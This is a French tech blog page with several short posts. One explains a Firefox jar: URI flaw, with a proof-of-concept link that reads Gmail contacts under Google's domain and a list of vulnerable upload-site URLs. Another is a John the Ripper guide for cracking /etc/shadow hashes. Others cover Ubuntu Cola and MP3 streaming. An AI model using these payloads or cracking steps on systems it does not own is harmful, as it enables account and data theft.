Je vous avais parlé il y a quelques jours d’une nouvelle faille touchant Firefox et toutes les applications web qui acceptent de recevoir en upload des fichiers zip, jar ou odt, et doc 2007… Bref, tous les types de fichiers basés sur le protocole d’archivage JAR.

Trêve de blabla, voici un premier POC (Proof of Concept) qui démontre la gravité de la chose.

jar:http://groups.google.com/searchhistory/url?url=http://beford.org/stuff/htm.jar!/htm.htm

Si vous appelez ce lien (inoffensif je vous rassure), celui-ci executera un petit javascript qui fera croire à Google qu’il vient de son domaine (google.com) et qui lui ouvrira certaines portes comme par exemple ici l’accès à votre liste de contact Gmail. Ce script ne fait rien de méchant mais d’autres pourraient se servir de ces emails pour du spam par exemple.

Ca c’est pour le fun… maintenant, imaginez que vous vouliez récupérer la liste des fichiers ou des codes sources se trouvant dans un répertoire… En théorie, c’est possible aussi vu que le .htm contenu dans le JAR est exécuté comme si il était dans le dossier du site (donc comme si vous l’aviez envoyé directement en FTP)

Même chose en uploadant une fausse page internet d’une banque par exemple, on pourrait vous demander des informations confidentielles (ou en récupérer) sans que vous soyez vigilant.

Flippant non ?

Voici par exemple, une première liste de sites que le papa de la faille a testé et qui sont faillibles. Les noms de domaines sont censurés.

jar:http://imagXXXload.biz/files/dadfad6e3ba807aa20712fbe2.png!/test.html
jar:http://img3.freeimXXXhosting.net/uploads/328d2315c3.png!/test.html
jar:http://www.imglXXXtr.com/uploads/7accc832a7.png!/test.html
jar:http://upload.iXXXpot.com/u/07/311/05/test64864.zip.png!/test.html
jar:http://www.direcXXXload.com/showoriginal-32664.jpg!/test.html
jar:http://www.uplXXXhouse.com/fileuploads/712/712277d886fa0881092da4936f5ded10e771cd.png!/test.html
jar:http://www.fotopaXXXd.com/upload/nr/486/test.zip.png!/test.html
jar:http://www.uploXXXimages.net/imagen/18790b0b47.png!/test.html
jar:http://www.imaXXX.info/images/06/1194534977_test.zip.png!/test.html
jar:http://pics.fXXXni.de/save/p_1194532832.png!/test.html
jar:http://img.nXXXnternetstate.com/1194532968.png!/test.html

Evidement, pour le moment, c’est une grosse brêche encore ouverte parce que Firefox n’a pas encore été mis à jour. Prudence donc dans vos surfs à venir et attendez vous à voir une augmentation des alertes virales et des piratages dans les jours/mois qui vont arriver…

A bon entendeur…

Pour trouver le mot de passe linux d’une machine, c’est assez simple mais ça prend du temps… Tout d’abord, il vous faut un petit logiciel open source qui s’appelle John (John The Ripper pour être précis).

La fonction de John est de tester toutes les combinaisons possibles soit d’une liste de mot, soit de manière incrémentale pour faire correspondre le hash du mot de passe crypté avec celui du mot testé.

Bref, vous l’aurez compris, ça peut prendre du temps si le mot de passe est bien long et bien complexe.

Avant de commencer, installez John (méthode Ubuntu ou Debian avec APT) :

sudo apt-get install john

Ensuite, il faut re-assembler les fichiers passwd et shadow… Sous linux, les fichiers contenant les mots de passe sont divisés en 2 et stockés dans le répertoire /etc/

/etc/passwd contient uniquement les logins, les chemins des Home, les groupes…etc mais pas le mot de passe. Ce dernier est quand à lui stocké dans /etc/shadow de façon cryptée.

Donc pour pouvoir cracker ce mot de passe, il faut « re-assembler » les 2 fichiers pour n’en former plus qu’un seul. C’est ce que la command unshadow va nous permettre de faire. Il faut bien sûr être loggé avec un compte administrateur ou root pour pouvoir accèder aux fichiers de /etc/

sudo unshadow /etc/passwd /etc/shadow > mypasswd

Ensuite, il vous suffit de lancer John

sudo john mypasswd

Et c’est parti pour de longues heures si vous avez de la chance (ou des mois et des mois si vous en avez moins)

Une fois que John aura fini son travail, il ne vous restera plus qu’a afficher ce mot de passe avec la commande suivante :

sudo john –show mypasswd

Et voilà… Bon, je vous rappelle quand même que ces petites manipulations ne doivent être réalisées que sur votre propre machine pour tester la sécurité de vos propres mots de passe.

En ce qui concerne John, il est paramétrable dans tous les sens donc si vous voulez aller un peu plus loin dans le truc, je vous recommande ce site.

Ubuntu Cola, c’est le nom de cette boisson gazeuse ciblée commerce équitable… Rien à voir avec le système d’exploitation Ubuntu mis à part le concept orienté « Humain ».

Partenaire d’un programme économique et environmental avec des producteurs de sucre, la société reverse 33 % de ses recettes en Afrique. Ce qui est amusant avec cette boisson c’est la confusion qui s’installe avec l’OS. J’aurais tendance à dire que les gens vont l’acheter, plus parce qu’ils se sentent proches de la philosophie de la distrib Ubuntu que pour aider l’Afrique… Mais je me trompe peut être.

D’ailleurs, petit rappel sur la significarion d’Ubuntu. Ce mot provient dé??un ancien mot bantou (langue d’Afrique), ubuntu, signifiant « Humanité aux autres » ou encore « Je suis ce que je suis grâce à ce que nous sommes tous ». Donc finalement, c’est un mot comme les autres qui peut être utilisé pour tout et n’importe quoi, même si il est chargé d’une signification assez forte.

Pour le moment, cette boisson est sortie en Angleterre (sa terre natale) et commence à débarquer dans d’autres pays d’Europe comme la Suède. Va falloir que j’y goute ça quand même 🙂

Toutes les infos sont ici

Allez hop, pour vous détendre en fin de journée si vous êtes encore au boulot…

Si je vous donne un bon vieux lien MP3 comme celui-ci :

http://websvn.kde.org/*checkout*/trunk/promo/exampleuser/qt23.mp3

Comment écoutez vous la chanson ? Simple… Vous la téléchargez sur votre ordinateur, et vous ouvrez votre lecteur MP3 préféré…

Ca va pas révolutionner le monde mais je suis tombé sur un site chinois qui permet d’écouter directement en stream un MP3 se trouvant sur un autre serveur sans avoir besoin de le télécharger sur votre ordinateur. C’est un peu du Cross-mp3-stream. Je ne sais pas si cette application flash a été conçu pour ça à l’orgine mais ça peu dépanner.

Il suffit de préfixer l’adresse de votre MP3 avec ça :

http://www.china-8.com/player_button/musicplayer.swf?song_url=

Ce qui nous donne ce lien.